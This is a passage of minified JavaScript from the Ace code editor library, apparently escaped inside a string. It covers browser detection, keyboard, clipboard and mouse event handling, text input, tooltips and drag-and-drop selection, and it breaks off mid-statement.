t.isMac?t.OS.MAC:t.isLinux?t.OS.LINUX:t.OS.WINDOWS};if(typeof navigator!=\"object\")return;var r=(navigator.platform.match(/mac|win|linux/i)||[\"other\"])[0].toLowerCase(),i=navigator.userAgent;t.isWin=r==\"win\",t.isMac=r==\"mac\",t.isLinux=r==\"linux\",t.isIE=navigator.appName==\"Microsoft Internet Explorer\"||navigator.appName.indexOf(\"MSAppHost\")>=0?parseFloat((i.match(/(?:MSIE |Trident\\/[0-9]+[\\.0-9]+;.*rv:)([0-9]+[\\.0-9]+)/)||[])[1]):parseFloat((i.match(/(?:Trident\\/[0-9]+[\\.0-9]+;.*rv:)([0-9]+[\\.0-9]+)/)||[])[1]),t.isOldIE=t.isIE&&t.isIE<9,t.isGecko=t.isMozilla=(window.Controllers||window.controllers)&&window.navigator.product===\"Gecko\",t.isOldGecko=t.isGecko&&parseInt((i.match(/rv\\:(\\d+)/)||[])[1],10)<4,t.isOpera=window.opera&&Object.prototype.toString.call(window.opera)==\"[object Opera]\",t.isWebKit=parseFloat(i.split(\"WebKit/\")[1])||undefined,t.isChrome=parseFloat(i.split(\" Chrome/\")[1])||undefined,t.isAIR=i.indexOf(\"AdobeAIR\")>=0,t.isIPad=i.indexOf(\"iPad\")>=0,t.isTouchPad=i.indexOf(\"TouchPad\")>=0,t.isChromeOS=i.indexOf(\" CrOS \")>=0}),define(\"ace/lib/event\",[\"require\",\"exports\",\"module\",\"ace/lib/keys\",\"ace/lib/useragent\"],function(e,t,n){\"use strict\";function a(e,t,n){var a=u(t);if(!i.isMac&&s){s.OSKey&&(a|=8);if(s.altGr){if((3&a)==3)return;s.altGr=0}if(n===18||n===17){var f=\"location\"in t?t.location:t.keyLocation;if(n===17&&f===1)s[n]==1&&(o=t.timeStamp);else if(n===18&&a===3&&f===2){var l=t.timeStamp-o;l<50&&(s.altGr=!0)}}}n in r.MODIFIER_KEYS&&(n=-1),a&8&&n>=91&&n<=93&&(n=-1);if(!a&&n===13){var f=\"location\"in t?t.location:t.keyLocation;if(f===3){e(t,a,-n);if(t.defaultPrevented)return}}if(i.isChromeOS&&a&8){e(t,a,n);if(t.defaultPrevented)return;a&=-9}return!!a||n in r.FUNCTION_KEYS||n in r.PRINTABLE_KEYS?e(t,a,n):!1}function f(){s=Object.create(null),s.count=0,s.lastT=0}var r=e(\"./keys\"),i=e(\"./useragent\"),s=null,o=0;t.addListener=function(e,t,n){if(e.addEventListener)return e.addEventListener(t,n,!1);if(e.attachEvent){var r=function(){n.call(e,window.event)};n._wrapper=r,e.attachEvent(\"on\"+t,r)}},t.removeListener=function(e,t,n){if(e.removeEventListener)return e.removeEventListener(t,n,!1);e.detachEvent&&e.detachEvent(\"on\"+t,n._wrapper||n)},t.stopEvent=function(e){return t.stopPropagation(e),t.preventDefault(e),!1},t.stopPropagation=function(e){e.stopPropagation?e.stopPropagation():e.cancelBubble=!0},t.preventDefault=function(e){e.preventDefault?e.preventDefault():e.returnValue=!1},t.getButton=function(e){return e.type==\"dblclick\"?0:e.type==\"contextmenu\"||i.isMac&&e.ctrlKey&&!e.altKey&&!e.shiftKey?2:e.preventDefault?e.button:{1:0,2:2,4:1}[e.button]},t.capture=function(e,n,r){function i(e){n&&n(e),r&&r(e),t.removeListener(document,\"mousemove\",n,!0),t.removeListener(document,\"mouseup\",i,!0),t.removeListener(document,\"dragstart\",i,!0)}return t.addListener(document,\"mousemove\",n,!0),t.addListener(document,\"mouseup\",i,!0),t.addListener(document,\"dragstart\",i,!0),i},t.addTouchMoveListener=function(e,n){if(\"ontouchmove\"in e){var r,i;t.addListener(e,\"touchstart\",function(e){var t=e.changedTouches[0];r=t.clientX,i=t.clientY}),t.addListener(e,\"touchmove\",function(e){var t=1,s=e.changedTouches[0];e.wheelX=-(s.clientX-r)/t,e.wheelY=-(s.clientY-i)/t,r=s.clientX,i=s.clientY,n(e)})}},t.addMouseWheelListener=function(e,n){\"onmousewheel\"in e?t.addListener(e,\"mousewheel\",function(e){var t=8;e.wheelDeltaX!==undefined?(e.wheelX=-e.wheelDeltaX/t,e.wheelY=-e.wheelDeltaY/t):(e.wheelX=0,e.wheelY=-e.wheelDelta/t),n(e)}):\"onwheel\"in e?t.addListener(e,\"wheel\",function(e){var t=.35;switch(e.deltaMode){case e.DOM_DELTA_PIXEL:e.wheelX=e.deltaX*t||0,e.wheelY=e.deltaY*t||0;break;case e.DOM_DELTA_LINE:case e.DOM_DELTA_PAGE:e.wheelX=(e.deltaX||0)*5,e.wheelY=(e.deltaY||0)*5}n(e)}):t.addListener(e,\"DOMMouseScroll\",function(e){e.axis&&e.axis==e.HORIZONTAL_AXIS?(e.wheelX=(e.detail||0)*5,e.wheelY=0):(e.wheelX=0,e.wheelY=(e.detail||0)*5),n(e)})},t.addMultiMouseDownListener=function(e,n,r,s){var o=0,u,a,f,l={2:\"dblclick\",3:\"tripleclick\",4:\"quadclick\"};t.addListener(e,\"mousedown\",function(e){t.getButton(e)!==0?o=0:e.detail>1?(o++,o>4&&(o=1)):o=1;if(i.isIE){var c=Math.abs(e.clientX-u)>5||Math.abs(e.clientY-a)>5;if(!f||c)o=1;f&&clearTimeout(f),f=setTimeout(function(){f=null},n[o-1]||600),o==1&&(u=e.clientX,a=e.clientY)}e._clicks=o,r[s](\"mousedown\",e);if(o>4)o=0;else if(o>1)return r[s](l[o],e)}),i.isOldIE&&t.addListener(e,\"dblclick\",function(e){o=2,f&&clearTimeout(f),f=setTimeout(function(){f=null},n[o-1]||600),r[s](\"mousedown\",e),r[s](l[o],e)})};var u=!i.isMac||!i.isOpera||\"KeyboardEvent\"in window?function(e){return 0|(e.ctrlKey?1:0)|(e.altKey?2:0)|(e.shiftKey?4:0)|(e.metaKey?8:0)}:function(e){return 0|(e.metaKey?1:0)|(e.altKey?2:0)|(e.shiftKey?4:0)|(e.ctrlKey?8:0)};t.getModifierString=function(e){return r.KEY_MODS[u(e)]},t.addCommandKeyListener=function(e,n){var r=t.addListener;if(i.isOldGecko||i.isOpera&&!(\"KeyboardEvent\"in window)){var o=null;r(e,\"keydown\",function(e){o=e.keyCode}),r(e,\"keypress\",function(e){return a(n,e,o)})}else{var u=null;r(e,\"keydown\",function(e){var t=e.keyCode;s[t]=(s[t]||0)+1,t==91||t==92?s.OSKey=!0:s.OSKey&&e.timeStamp-s.lastT>200&&s.count==1&&f(),s[t]==1&&s.count++,s.lastT=e.timeStamp;var r=a(n,e,t);return u=e.defaultPrevented,r}),r(e,\"keypress\",function(e){u&&(e.ctrlKey||e.altKey||e.shiftKey||e.metaKey)&&(t.stopEvent(e),u=null)}),r(e,\"keyup\",function(e){var t=e.keyCode;s[t]?s.count=Math.max(s.count-1,0):f();if(t==91||t==92)s.OSKey=!1;s[t]=null}),s||(f(),r(window,\"focus\",f))}};if(typeof window==\"object\"&&window.postMessage&&!i.isOldIE){var l=1;t.nextTick=function(e,n){n=n||window;var r=\"zero-timeout-message-\"+l;t.addListener(n,\"message\",function i(s){s.data==r&&(t.stopPropagation(s),t.removeListener(n,\"message\",i),e())}),n.postMessage(r,\"*\")}}t.nextFrame=typeof window==\"object\"&&(window.requestAnimationFrame||window.mozRequestAnimationFrame||window.webkitRequestAnimationFrame||window.msRequestAnimationFrame||window.oRequestAnimationFrame),t.nextFrame?t.nextFrame=t.nextFrame.bind(window):t.nextFrame=function(e){setTimeout(e,17)}}),define(\"ace/lib/lang\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.last=function(e){return e[e.length-1]},t.stringReverse=function(e){return e.split(\"\").reverse().join(\"\")},t.stringRepeat=function(e,t){var n=\"\";while(t>0){t&1&&(n+=e);if(t>>=1)e+=e}return n};var r=/^\\s\\s*/,i=/\\s\\s*$/;t.stringTrimLeft=function(e){return e.replace(r,\"\")},t.stringTrimRight=function(e){return e.replace(i,\"\")},t.copyObject=function(e){var t={};for(var n in e)t[n]=e[n];return t},t.copyArray=function(e){var t=[];for(var n=0,r=e.length;n<r;n++)e[n]&&typeof e[n]==\"object\"?t[n]=this.copyObject(e[n]):t[n]=e[n];return t},t.deepCopy=function s(e){if(typeof e!=\"object\"||!e)return e;var t;if(Array.isArray(e)){t=[];for(var n=0;n<e.length;n++)t[n]=s(e[n]);return t}var r=e.constructor;if(r===RegExp)return e;t=r();for(var n in e)t[n]=s(e[n]);return t},t.arrayToMap=function(e){var t={};for(var n=0;n<e.length;n++)t[e[n]]=1;return t},t.createMap=function(e){var t=Object.create(null);for(var n in e)t[n]=e[n];return t},t.arrayRemove=function(e,t){for(var n=0;n<=e.length;n++)t===e[n]&&e.splice(n,1)},t.escapeRegExp=function(e){return e.replace(/([.*+?^${}()|[\\]\\/\\\\])/g,\"\\\\$1\")},t.escapeHTML=function(e){return e.replace(/&/g,\"&#38;\").replace(/\"/g,\"&#34;\").replace(/'/g,\"&#39;\").replace(/</g,\"&#60;\")},t.getMatchOffsets=function(e,t){var n=[];return e.replace(t,function(e){n.push({offset:arguments[arguments.length-2],length:e.length})}),n},t.deferredCall=function(e){var t=null,n=function(){t=null,e()},r=function(e){return r.cancel(),t=setTimeout(n,e||0),r};return r.schedule=r,r.call=function(){return this.cancel(),e(),r},r.cancel=function(){return clearTimeout(t),t=null,r},r.isPending=function(){return t},r},t.delayedCall=function(e,t){var n=null,r=function(){n=null,e()},i=function(e){n==null&&(n=setTimeout(r,e||t))};return i.delay=function(e){n&&clearTimeout(n),n=setTimeout(r,e||t)},i.schedule=i,i.call=function(){this.cancel(),e()},i.cancel=function(){n&&clearTimeout(n),n=null},i.isPending=function(){return n},i}}),define(\"ace/keyboard/textinput\",[\"require\",\"exports\",\"module\",\"ace/lib/event\",\"ace/lib/useragent\",\"ace/lib/dom\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../lib/event\"),i=e(\"../lib/useragent\"),s=e(\"../lib/dom\"),o=e(\"../lib/lang\"),u=i.isChrome<18,a=i.isIE,f=function(e,t){function b(e){if(h)return;h=!0;if(k)t=0,r=e?0:n.value.length-1;else var t=e?2:1,r=2;try{n.setSelectionRange(t,r)}catch(i){}h=!1}function w(){if(h)return;n.value=f,i.isWebKit&&y.schedule()}function R(){clearTimeout(q),q=setTimeout(function(){p&&(n.style.cssText=p,p=\"\"),t.renderer.$keepTextAreaAtCursor==null&&(t.renderer.$keepTextAreaAtCursor=!0,t.renderer.$moveTextAreaToCursor())},i.isOldIE?200:0)}var n=s.createElement(\"textarea\");n.className=\"ace_text-input\",i.isTouchPad&&n.setAttribute(\"x-palm-disable-auto-cap\",!0),n.setAttribute(\"wrap\",\"off\"),n.setAttribute(\"autocorrect\",\"off\"),n.setAttribute(\"autocapitalize\",\"off\"),n.setAttribute(\"spellcheck\",!1),n.style.opacity=\"0\",i.isOldIE&&(n.style.top=\"-1000px\"),e.insertBefore(n,e.firstChild);var f=\"\u0001\u0001\",l=!1,c=!1,h=!1,p=\"\",d=!0;try{var v=document.activeElement===n}catch(m){}r.addListener(n,\"blur\",function(e){t.onBlur(e),v=!1}),r.addListener(n,\"focus\",function(e){v=!0,t.onFocus(e),b()}),this.focus=function(){if(p)return n.focus();var e=n.style.top;n.style.position=\"fixed\",n.style.top=\"-1000px\",n.focus(),setTimeout(function(){n.style.position=\"\",n.style.top==\"-1000px\"&&(n.style.top=e)},0)},this.blur=function(){n.blur()},this.isFocused=function(){return v};var g=o.delayedCall(function(){v&&b(d)}),y=o.delayedCall(function(){h||(n.value=f,v&&b())});i.isWebKit||t.addEventListener(\"changeSelection\",function(){t.selection.isEmpty()!=d&&(d=!d,g.schedule())}),w(),v&&t.onFocus();var E=function(e){return e.selectionStart===0&&e.selectionEnd===e.value.length};!n.setSelectionRange&&n.createTextRange&&(n.setSelectionRange=function(e,t){var n=this.createTextRange();n.collapse(!0),n.moveStart(\"character\",e),n.moveEnd(\"character\",t),n.select()},E=function(e){try{var t=e.ownerDocument.selection.createRange()}catch(n){}return!t||t.parentElement()!=e?!1:t.text==e.value});if(i.isOldIE){var S=!1,x=function(e){if(S)return;var t=n.value;if(h||!t||t==f)return;if(e&&t==f[0])return T.schedule();A(t),S=!0,w(),S=!1},T=o.delayedCall(x);r.addListener(n,\"propertychange\",x);var N={13:1,27:1};r.addListener(n,\"keyup\",function(e){h&&(!n.value||N[e.keyCode])&&setTimeout(F,0);if((n.value.charCodeAt(0)||0)<129)return T.call();h?j():B()}),r.addListener(n,\"keydown\",function(e){T.schedule(50)})}var C=function(e){l?l=!1:E(n)?(t.selectAll(),b()):k&&b(t.selection.isEmpty())},k=null;this.setInputHandler=function(e){k=e},this.getInputHandler=function(){return k};var L=!1,A=function(e){k&&(e=k(e),k=null),c?(b(),e&&t.onPaste(e),c=!1):e==f.charAt(0)?L?t.execCommand(\"del\",{source:\"ace\"}):t.execCommand(\"backspace\",{source:\"ace\"}):(e.substring(0,2)==f?e=e.substr(2):e.charAt(0)==f.charAt(0)?e=e.substr(1):e.charAt(e.length-1)==f.charAt(0)&&(e=e.slice(0,-1)),e.charAt(e.length-1)==f.charAt(0)&&(e=e.slice(0,-1)),e&&t.onTextInput(e)),L&&(L=!1)},O=function(e){if(h)return;var t=n.value;A(t),w()},M=function(e,t){var n=e.clipboardData||window.clipboardData;if(!n||u)return;var r=a?\"Text\":\"text/plain\";return t?n.setData(r,t)!==!1:n.getData(r)},_=function(e,i){var s=t.getCopyText();if(!s)return r.preventDefault(e);M(e,s)?(i?t.onCut():t.onCopy(),r.preventDefault(e)):(l=!0,n.value=s,n.select(),setTimeout(function(){l=!1,w(),b(),i?t.onCut():t.onCopy()}))},D=function(e){_(e,!0)},P=function(e){_(e,!1)},H=function(e){var s=M(e);typeof s==\"string\"?(s&&t.onPaste(s,e),i.isIE&&setTimeout(b),r.preventDefault(e)):(n.value=\"\",c=!0)};r.addCommandKeyListener(n,t.onCommandKey.bind(t)),r.addListener(n,\"select\",C),r.addListener(n,\"input\",O),r.addListener(n,\"cut\",D),r.addListener(n,\"copy\",P),r.addListener(n,\"paste\",H),(!(\"oncut\"in n)||!(\"oncopy\"in n)||!(\"onpaste\"in n))&&r.addListener(e,\"keydown\",function(e){if(i.isMac&&!e.metaKey||!e.ctrlKey)return;switch(e.keyCode){case 67:P(e);break;case 86:H(e);break;case 88:D(e)}});var B=function(e){if(h||!t.onCompositionStart||t.$readOnly)return;h={},t.onCompositionStart(),setTimeout(j,0),t.on(\"mousedown\",F),t.selection.isEmpty()||(t.insert(\"\"),t.session.markUndoGroup(),t.selection.clearSelection()),t.session.markUndoGroup()},j=function(){if(!h||!t.onCompositionUpdate||t.$readOnly)return;var e=n.value.replace(/\\x01/g,\"\");if(h.lastValue===e)return;t.onCompositionUpdate(e),h.lastValue&&t.undo(),h.lastValue=e;if(h.lastValue){var r=t.selection.getRange();t.insert(h.lastValue),t.session.markUndoGroup(),h.range=t.selection.getRange(),t.selection.setRange(r),t.selection.clearSelection()}},F=function(e){if(!t.onCompositionEnd||t.$readOnly)return;var r=h;h=!1;var i=setTimeout(function(){i=null;var e=n.value.replace(/\\x01/g,\"\");if(h)return;e==r.lastValue?w():!r.lastValue&&e&&(w(),A(e))});k=function(n){return i&&clearTimeout(i),n=n.replace(/\\x01/g,\"\"),n==r.lastValue?\"\":(r.lastValue&&i&&t.undo(),n)},t.onCompositionEnd(),t.removeListener(\"mousedown\",F),e.type==\"compositionend\"&&r.range&&t.selection.setRange(r.range)},I=o.delayedCall(j,50);r.addListener(n,\"compositionstart\",B),i.isGecko?r.addListener(n,\"text\",function(){I.schedule()}):(r.addListener(n,\"keyup\",function(){I.schedule()}),r.addListener(n,\"keydown\",function(){I.schedule()})),r.addListener(n,\"compositionend\",F),this.getElement=function(){return n},this.setReadOnly=function(e){n.readOnly=e},this.onContextMenu=function(e){L=!0,b(t.selection.isEmpty()),t._emit(\"nativecontextmenu\",{target:t,domEvent:e}),this.moveToMouse(e,!0)},this.moveToMouse=function(e,o){if(!o&&i.isOldIE)return;p||(p=n.style.cssText),n.style.cssText=(o?\"z-index:100000;\":\"\")+\"height:\"+n.style.height+\";\"+(i.isIE?\"opacity:0.1;\":\"\");var u=t.container.getBoundingClientRect(),a=s.computedStyle(t.container),f=u.top+(parseInt(a.borderTopWidth)||0),l=u.left+(parseInt(u.borderLeftWidth)||0),c=u.bottom-f-n.clientHeight-2,h=function(e){n.style.left=e.clientX-l-2+\"px\",n.style.top=Math.min(e.clientY-f-2,c)+\"px\"};h(e);if(e.type!=\"mousedown\")return;t.renderer.$keepTextAreaAtCursor&&(t.renderer.$keepTextAreaAtCursor=null),i.isWin&&!i.isOldIE&&r.capture(t.container,h,R)},this.onContextMenuClose=R;var q,U=function(e){t.textInput.onContextMenu(e),R()};r.addListener(t.renderer.scroller,\"contextmenu\",U),r.addListener(n,\"contextmenu\",U)};t.TextInput=f}),define(\"ace/mouse/default_handlers\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\",\"ace/lib/event\",\"ace/lib/useragent\"],function(e,t,n){\"use strict\";function u(e){e.$clickSelection=null;var t=e.editor;t.setDefaultHandler(\"mousedown\",this.onMouseDown.bind(e)),t.setDefaultHandler(\"dblclick\",this.onDoubleClick.bind(e)),t.setDefaultHandler(\"tripleclick\",this.onTripleClick.bind(e)),t.setDefaultHandler(\"quadclick\",this.onQuadClick.bind(e)),t.setDefaultHandler(\"mousewheel\",this.onMouseWheel.bind(e)),t.setDefaultHandler(\"touchmove\",this.onTouchMove.bind(e));var n=[\"select\",\"startSelect\",\"selectEnd\",\"selectAllEnd\",\"selectByWordsEnd\",\"selectByLinesEnd\",\"dragWait\",\"dragWaitEnd\",\"focusWait\"];n.forEach(function(t){e[t]=this[t]},this),e.selectByLines=this.extendSelectionBy.bind(e,\"getLineRange\"),e.selectByWords=this.extendSelectionBy.bind(e,\"getWordRange\")}function a(e,t,n,r){return Math.sqrt(Math.pow(n-e,2)+Math.pow(r-t,2))}function f(e,t){if(e.start.row==e.end.row)var n=2*t.column-e.start.column-e.end.column;else if(e.start.row==e.end.row-1&&!e.start.column&&!e.end.column)var n=t.column-4;else var n=2*t.row-e.start.row-e.end.row;return n<0?{cursor:e.start,anchor:e.end}:{cursor:e.end,anchor:e.start}}var r=e(\"../lib/dom\"),i=e(\"../lib/event\"),s=e(\"../lib/useragent\"),o=0;(function(){this.onMouseDown=function(e){var t=e.inSelection(),n=e.getDocumentPosition();this.mousedownEvent=e;var r=this.editor,i=e.getButton();if(i!==0){var s=r.getSelectionRange(),o=s.isEmpty();r.$blockScrolling++,o&&r.selection.moveToPosition(n),r.$blockScrolling--,r.textInput.onContextMenu(e.domEvent);return}this.mousedownEvent.time=Date.now();if(t&&!r.isFocused()){r.focus();if(this.$focusTimout&&!this.$clickSelection&&!r.inMultiSelectMode){this.setState(\"focusWait\"),this.captureMouse(e);return}}return this.captureMouse(e),this.startSelect(n,e.domEvent._clicks>1),e.preventDefault()},this.startSelect=function(e,t){e=e||this.editor.renderer.screenToTextCoordinates(this.x,this.y);var n=this.editor;n.$blockScrolling++,this.mousedownEvent.getShiftKey()?n.selection.selectToPosition(e):t||n.selection.moveToPosition(e),t||this.select(),n.renderer.scroller.setCapture&&n.renderer.scroller.setCapture(),n.setStyle(\"ace_selecting\"),this.setState(\"select\"),n.$blockScrolling--},this.select=function(){var e,t=this.editor,n=t.renderer.screenToTextCoordinates(this.x,this.y);t.$blockScrolling++;if(this.$clickSelection){var r=this.$clickSelection.comparePoint(n);if(r==-1)e=this.$clickSelection.end;else if(r==1)e=this.$clickSelection.start;else{var i=f(this.$clickSelection,n);n=i.cursor,e=i.anchor}t.selection.setSelectionAnchor(e.row,e.column)}t.selection.selectToPosition(n),t.$blockScrolling--,t.renderer.scrollCursorIntoView()},this.extendSelectionBy=function(e){var t,n=this.editor,r=n.renderer.screenToTextCoordinates(this.x,this.y),i=n.selection[e](r.row,r.column);n.$blockScrolling++;if(this.$clickSelection){var s=this.$clickSelection.comparePoint(i.start),o=this.$clickSelection.comparePoint(i.end);if(s==-1&&o<=0){t=this.$clickSelection.end;if(i.end.row!=r.row||i.end.column!=r.column)r=i.start}else if(o==1&&s>=0){t=this.$clickSelection.start;if(i.start.row!=r.row||i.start.column!=r.column)r=i.end}else if(s==-1&&o==1)r=i.end,t=i.start;else{var u=f(this.$clickSelection,r);r=u.cursor,t=u.anchor}n.selection.setSelectionAnchor(t.row,t.column)}n.selection.selectToPosition(r),n.$blockScrolling--,n.renderer.scrollCursorIntoView()},this.selectEnd=this.selectAllEnd=this.selectByWordsEnd=this.selectByLinesEnd=function(){this.$clickSelection=null,this.editor.unsetStyle(\"ace_selecting\"),this.editor.renderer.scroller.releaseCapture&&this.editor.renderer.scroller.releaseCapture()},this.focusWait=function(){var e=a(this.mousedownEvent.x,this.mousedownEvent.y,this.x,this.y),t=Date.now();(e>o||t-this.mousedownEvent.time>this.$focusTimout)&&this.startSelect(this.mousedownEvent.getDocumentPosition())},this.onDoubleClick=function(e){var t=e.getDocumentPosition(),n=this.editor,r=n.session,i=r.getBracketRange(t);i?(i.isEmpty()&&(i.start.column--,i.end.column++),this.setState(\"select\")):(i=n.selection.getWordRange(t.row,t.column),this.setState(\"selectByWords\")),this.$clickSelection=i,this.select()},this.onTripleClick=function(e){var t=e.getDocumentPosition(),n=this.editor;this.setState(\"selectByLines\");var r=n.getSelectionRange();r.isMultiLine()&&r.contains(t.row,t.column)?(this.$clickSelection=n.selection.getLineRange(r.start.row),this.$clickSelection.end=n.selection.getLineRange(r.end.row).end):this.$clickSelection=n.selection.getLineRange(t.row),this.select()},this.onQuadClick=function(e){var t=this.editor;t.selectAll(),this.$clickSelection=t.getSelectionRange(),this.setState(\"selectAll\")},this.onMouseWheel=function(e){if(e.getAccelKey())return;e.getShiftKey()&&e.wheelY&&!e.wheelX&&(e.wheelX=e.wheelY,e.wheelY=0);var t=e.domEvent.timeStamp,n=t-(this.$lastScrollTime||0),r=this.editor,i=r.renderer.isScrollableBy(e.wheelX*e.speed,e.wheelY*e.speed);if(i||n<200)return this.$lastScrollTime=t,r.renderer.scrollBy(e.wheelX*e.speed,e.wheelY*e.speed),e.stop()},this.onTouchMove=function(e){var t=e.domEvent.timeStamp,n=t-(this.$lastScrollTime||0),r=this.editor,i=r.renderer.isScrollableBy(e.wheelX*e.speed,e.wheelY*e.speed);if(i||n<200)return this.$lastScrollTime=t,r.renderer.scrollBy(e.wheelX*e.speed,e.wheelY*e.speed),e.stop()}}).call(u.prototype),t.DefaultHandlers=u}),define(\"ace/tooltip\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/dom\"],function(e,t,n){\"use strict\";function s(e){this.isOpen=!1,this.$element=null,this.$parentNode=e}var r=e(\"./lib/oop\"),i=e(\"./lib/dom\");(function(){this.$init=function(){return this.$element=i.createElement(\"div\"),this.$element.className=\"ace_tooltip\",this.$element.style.display=\"none\",this.$parentNode.appendChild(this.$element),this.$element},this.getElement=function(){return this.$element||this.$init()},this.setText=function(e){i.setInnerText(this.getElement(),e)},this.setHtml=function(e){this.getElement().innerHTML=e},this.setPosition=function(e,t){this.getElement().style.left=e+\"px\",this.getElement().style.top=t+\"px\"},this.setClassName=function(e){i.addCssClass(this.getElement(),e)},this.show=function(e,t,n){e!=null&&this.setText(e),t!=null&&n!=null&&this.setPosition(t,n),this.isOpen||(this.getElement().style.display=\"block\",this.isOpen=!0)},this.hide=function(){this.isOpen&&(this.getElement().style.display=\"none\",this.isOpen=!1)},this.getHeight=function(){return this.getElement().offsetHeight},this.getWidth=function(){return this.getElement().offsetWidth}}).call(s.prototype),t.Tooltip=s}),define(\"ace/mouse/default_gutter_handler\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\",\"ace/lib/oop\",\"ace/lib/event\",\"ace/tooltip\"],function(e,t,n){\"use strict\";function u(e){function l(){var r=u.getDocumentPosition().row,s=n.$annotations[r];if(!s)return c();var o=t.session.getLength();if(r==o){var a=t.renderer.pixelToScreenCoordinates(0,u.y).row,l=u.$pos;if(a>t.session.documentToScreenRow(l.row,l.column))return c()}if(f==s)return;f=s.text.join(\"<br/>\"),i.setHtml(f),i.show(),t.on(\"mousewheel\",c);if(e.$tooltipFollowsMouse)h(u);else{var p=u.domEvent.target,d=p.getBoundingClientRect(),v=i.getElement().style;v.left=d.right+\"px\",v.top=d.bottom+\"px\"}}function c(){o&&(o=clearTimeout(o)),f&&(i.hide(),f=null,t.removeEventListener(\"mousewheel\",c))}function h(e){i.setPosition(e.x,e.y)}var t=e.editor,n=t.renderer.$gutterLayer,i=new a(t.container);e.editor.setDefaultHandler(\"guttermousedown\",function(r){if(!t.isFocused()||r.getButton()!=0)return;var i=n.getRegion(r);if(i==\"foldWidgets\")return;var s=r.getDocumentPosition().row,o=t.session.selection;if(r.getShiftKey())o.selectTo(s,0);else{if(r.domEvent.detail==2)return t.selectAll(),r.preventDefault();e.$clickSelection=t.selection.getLineRange(s)}return e.setState(\"selectByLines\"),e.captureMouse(r),r.preventDefault()});var o,u,f;e.editor.setDefaultHandler(\"guttermousemove\",function(t){var n=t.domEvent.target||t.domEvent.srcElement;if(r.hasCssClass(n,\"ace_fold-widget\"))return c();f&&e.$tooltipFollowsMouse&&h(t),u=t;if(o)return;o=setTimeout(function(){o=null,u&&!e.isMousePressed?l():c()},50)}),s.addListener(t.renderer.$gutter,\"mouseout\",function(e){u=null;if(!f||o)return;o=setTimeout(function(){o=null,c()},50)}),t.on(\"changeSession\",c)}function a(e){o.call(this,e)}var r=e(\"../lib/dom\"),i=e(\"../lib/oop\"),s=e(\"../lib/event\"),o=e(\"../tooltip\").Tooltip;i.inherits(a,o),function(){this.setPosition=function(e,t){var n=window.innerWidth||document.documentElement.clientWidth,r=window.innerHeight||document.documentElement.clientHeight,i=this.getWidth(),s=this.getHeight();e+=15,t+=15,e+i>n&&(e-=e+i-n),t+s>r&&(t-=20+s),o.prototype.setPosition.call(this,e,t)}}.call(a.prototype),t.GutterHandler=u}),define(\"ace/mouse/mouse_event\",[\"require\",\"exports\",\"module\",\"ace/lib/event\",\"ace/lib/useragent\"],function(e,t,n){\"use strict\";var r=e(\"../lib/event\"),i=e(\"../lib/useragent\"),s=t.MouseEvent=function(e,t){this.domEvent=e,this.editor=t,this.x=this.clientX=e.clientX,this.y=this.clientY=e.clientY,this.$pos=null,this.$inSelection=null,this.propagationStopped=!1,this.defaultPrevented=!1};(function(){this.stopPropagation=function(){r.stopPropagation(this.domEvent),this.propagationStopped=!0},this.preventDefault=function(){r.preventDefault(this.domEvent),this.defaultPrevented=!0},this.stop=function(){this.stopPropagation(),this.preventDefault()},this.getDocumentPosition=function(){return this.$pos?this.$pos:(this.$pos=this.editor.renderer.screenToTextCoordinates(this.clientX,this.clientY),this.$pos)},this.inSelection=function(){if(this.$inSelection!==null)return this.$inSelection;var e=this.editor,t=e.getSelectionRange();if(t.isEmpty())this.$inSelection=!1;else{var n=this.getDocumentPosition();this.$inSelection=t.contains(n.row,n.column)}return this.$inSelection},this.getButton=function(){return r.getButton(this.domEvent)},this.getShiftKey=function(){return this.domEvent.shiftKey},this.getAccelKey=i.isMac?function(){return this.domEvent.metaKey}:function(){return this.domEvent.ctrlKey}}).call(s.prototype)}),define(\"ace/mouse/dragdrop_handler\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\",\"ace/lib/event\",\"ace/lib/useragent\"],function(e,t,n){\"use strict\";function f(e){function T(e,n){var r=Date.now(),i=!n||e.row!=n.row,s=!n||e.column!=n.column;if(!S||i||s)t.$blockScrolling+=1,t.moveCursorToPosition(e),t.$blockScrolling-=1,S=r,x={x:p,y:d};else{var o=l(x.x,x.y,p,d);o>a?S=null:r-S>=u&&(t.renderer.scrollCursorIntoView(),S=null)}}function N(e,n){var r=Date.now(),i=t.renderer.layerConfig.lineHeight,s=t.renderer.layerConfig.characterWidth,u=t.renderer.scroller.getBoundingClientRect(),a={x:{left:p-u.left,right:u.right-p},y:{top:d-u.top,bottom:u.bottom-d}},f=Math.min(a.x.left,a.x.right),l=Math.min(a.y.top,a.y.bottom),c={row:e.row,column:e.column};f/s<=2&&(c.column+=a.x.left<a.x.right?-3:2),l/i<=1&&(c.row+=a.y.top<a.y.bottom?-1:1);var h=e.row!=c.row,v=e.column!=c.column,m=!n||e.row!=n.row;h||v&&!m?E?r-E>=o&&t.renderer.scrollCursorIntoView(c):E=r:E=null}function C(){var e=g;g=t.renderer.screenToTextCoordinates(p,d),T(g,e),N(g,e)}function k(){m=t.selection.toOrientedRange(),h=t.session.addMarker(m,\"ace_selection\",t.getSelectionStyle()),t.clearSelection(),t.isFocused()&&t.renderer.$cursorLayer.setBlinking(!1),clearInterval(v),C(),v=setInterval(C,20),y=0,i.addListener(document,\"mousemove\",O)}function L(){clearInterval(v),t.session.removeMarker(h),h=null,t.$blockScrolling+=1,t.selection.fromOrientedRange(m),t.$blockScrolling-=1,t.isFocused()&&!w&&t.renderer.$cursorLayer.setBlinking(!t.getReadOnly()),m=null,g=null,y=0,E=null,S=null,i.removeListener(document,\"mousemove\",O)}function O(){A==null&&(A=setTimeout(function(){A!=null&&h&&L()},20))}function M(e){var t=e.types;return!t||Array.prototype.some.call(t,function(e){return e==\"text/plain\"||e==\"Text\"})}function _(e){var t=[\"copy\",\"copymove\",\"all\",\"uninitialized\"],n=[\"move\",\"copymove\",\"linkmove\",\"all\",\"uninitialized\"],r=s.isMac?e.altKey:e.ctrlKey,i=\"uninitialized\";try{i=e.dataTransfer.effectAllowed.toLowerCase()}catch(e){}var o=\"none\";return r&&t.indexOf(i)>=0?o=\"copy\":n.indexOf(i)>=0?o=\"move\":t.indexOf(i)>=0&&(o=\"copy\"),o}var 